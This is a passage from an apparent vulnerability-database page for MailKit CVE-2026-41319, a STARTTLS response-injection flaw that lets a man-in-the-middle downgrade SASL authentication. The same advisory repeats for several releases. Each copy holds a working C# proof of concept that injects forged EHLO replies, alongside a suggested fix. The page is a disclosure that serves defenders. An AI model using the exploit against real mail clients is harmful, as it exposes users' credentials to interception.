// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 04, 2023

3.5.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jan 28, 2023

3.4.3 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Nov 25, 2022

3.4.2 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


